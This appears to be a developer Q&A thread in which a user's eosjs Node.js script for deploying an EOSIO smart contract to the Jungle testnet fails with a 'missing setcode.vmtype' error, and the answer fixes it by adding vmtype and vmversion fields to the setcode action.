const fs = require('fs')
const { Api, JsonRpc, Serialize } = require('eosjs');
const { JsSignatureProvider } = require('eosjs/dist/eosjs-jssig'); // development only
const fetch = require('node-fetch'); //node only
const { TextDecoder, TextEncoder } = require('util'); //node only
let privateKey1 = '5J***********'
const privateKeys = [privateKey1];
const signatureProvider = new JsSignatureProvider(privateKeys);
const rpc = new JsonRpc('https://jungle2.cryptolions.io:443', { fetch }); //required to read blockchain state
const api = new Api({ rpc, signatureProvider, textDecoder: new TextDecoder(), textEncoder: new TextEncoder() });
const wasmHexString = fs.readFileSync(wasmFilePath).toString('hex')
const buffer = new Serialize.SerialBuffer({
textEncoder: api.textEncoder,
textDecoder: api.textDecoder,
})
let abiJSON = JSON.parse(fs.readFileSync(abiFilePath, 'utf8'))
const abiDefinitions = api.abiTypes.get('abi_def')
abiJSON = abiDefinitions.fields.reduce(
(acc, { name: fieldName }) =>
Object.assign(acc, { [fieldName]: acc[fieldName] || [] }),
abiJSON
)
abiDefinitions.serialize(buffer, abiJSON)
let serializedAbiHexString = Buffer.from(buffer.asUint8Array()).toString('hex')
deployContract();
async function deployContract(){
try{
await api.transact(
{
actions: [
{
account: 'eosio',
name: 'setcode',
authorization: [
{
actor: user_name,
permission: 'active',
},
],
data: {
account: user_name,
code: wasmHexString,
},
},
{
account: 'eosio',
name: 'setabi',
authorization: [
{
actor: user_name,
permission: 'active',
},
],
data: {
account: user_name,
abi: serializedAbiHexString,
},
},
],
},
{
blocksBehind: 3,
expireSeconds: 30,
}
)
}
catch(e){
console.log(e)
}
};
};
I'm getting the following error:
PS E:\EOSIO\smartcontract> node .\deploySmartContract.js
Error: missing setcode.vmtype (type=uint8)
at Object.serializeStruct [as serialize] (E:\EOSIO\node_modules\eosjs\dist\eosjs-serialize.js:571:27)
at serializeActionData (E:\EOSIO\node_modules\eosjs\dist\eosjs-serialize.js:1041:12)
at Object.serializeAction (E:\EOSIO\node_modules\eosjs\dist\eosjs-serialize.js:1051:15)
at Api. (E:\EOSIO\node_modules\eosjs\dist\eosjs-api.js:278:71)
at step (E:\EOSIO\node_modules\eosjs\dist\eosjs-api.js:47:23)
at Object.next (E:\EOSIO\node_modules\eosjs\dist\eosjs-api.js:28:53)
at fulfilled (E:\EOSIO\node_modules\eosjs\dist\eosjs-api.js:19:58)
at process._tickCallback (internal/process/next_tick.js:68:7)
const wasmFilePath = './hello.wasm'
const abiFilePath = './hello.abi'
const fs = require('fs')
const { Api, JsonRpc, Serialize } = require('eosjs');
const { JsSignatureProvider } = require('eosjs/dist/eosjs-jssig');
const fetch = require('node-fetch'); //node only
const { TextDecoder, TextEncoder } = require('util'); //node only
let privateKey1 = '5J***********'
const privateKeys = [privateKey1];
const signatureProvider = new JsSignatureProvider(privateKeys);
const rpc = new JsonRpc('https://jungle2.cryptolions.io:443', { fetch }); //required to read blockchain state
const api = new Api({ rpc, signatureProvider, textDecoder: new TextDecoder(), textEncoder: new TextEncoder() });
const wasmHexString = fs.readFileSync(wasmFilePath).toString('hex')
const buffer = new Serialize.SerialBuffer({
textEncoder: api.textEncoder,
textDecoder: api.textDecoder,
})
let abiJSON = JSON.parse(fs.readFileSync(abiFilePath, 'utf8'))
const abiDefinitions = api.abiTypes.get('abi_def')
abiJSON = abiDefinitions.fields.reduce(
(acc, { name: fieldName }) =>
Object.assign(acc, { [fieldName]: acc[fieldName] || [] }),
abiJSON
)
abiDefinitions.serialize(buffer, abiJSON)
let serializedAbiHexString = Buffer.from(buffer.asUint8Array()).toString('hex')
deployContract();
async function deployContract(){
try{
const wasmFilePath = './hello.wasm'
const abiFilePath = './hello.abi'
const fs = require('fs')
const { Api, JsonRpc, Serialize } = require('eosjs');
const { JsSignatureProvider } = require('eosjs/dist/eosjs-jssig'); // development only
const fetch = require('node-fetch'); //node only
const { TextDecoder, TextEncoder } = require('util'); //node only
let privateKey1 = '5J***********'
const privateKeys = [privateKey1];
const signatureProvider = new JsSignatureProvider(privateKeys);
const rpc = new JsonRpc('https://jungle2.cryptolions.io:443', { fetch }); //required to read blockchain state
const api = new Api({ rpc, signatureProvider, textDecoder: new TextDecoder(), textEncoder: new TextEncoder() });
const wasmHexString = fs.readFileSync(wasmFilePath).toString('hex')
const buffer = new Serialize.SerialBuffer({
textEncoder: api.textEncoder,
textDecoder: api.textDecoder,
})
let abiJSON = JSON.parse(fs.readFileSync(abiFilePath, 'utf8'))
const abiDefinitions = api.abiTypes.get('abi_def')
abiJSON = abiDefinitions.fields.reduce(
(acc, { name: fieldName }) =>
Object.assign(acc, { [fieldName]: acc[fieldName] || [] }),
abiJSON
)
abiDefinitions.serialize(buffer, abiJSON)
let serializedAbiHexString = Buffer.from(buffer.asUint8Array()).toString('hex')
deployContract();
async function deployContract(){
try{
await api.transact(
{
actions: [
{
account: 'eosio',
name: 'setcode',
authorization: [
{
actor: user_name,
permission: 'active',
},
],
data: {
account: user_name,
vmtype: '0',
vmversion: '0',
code: wasmHexString,
},
},
{
account: 'eosio',
name: 'setabi',
authorization: [
{
actor: user_name,
permission: 'active',
},
],
data: {
account: user_name,
abi: serializedAbiHexString,
},
},
],
},
{
blocksBehind: 3,
expireSeconds: 30,
}
)
}
catch(e){
console.log(e)
}
};
};
Add vmtype and vmversion in data field of setcode.

Resources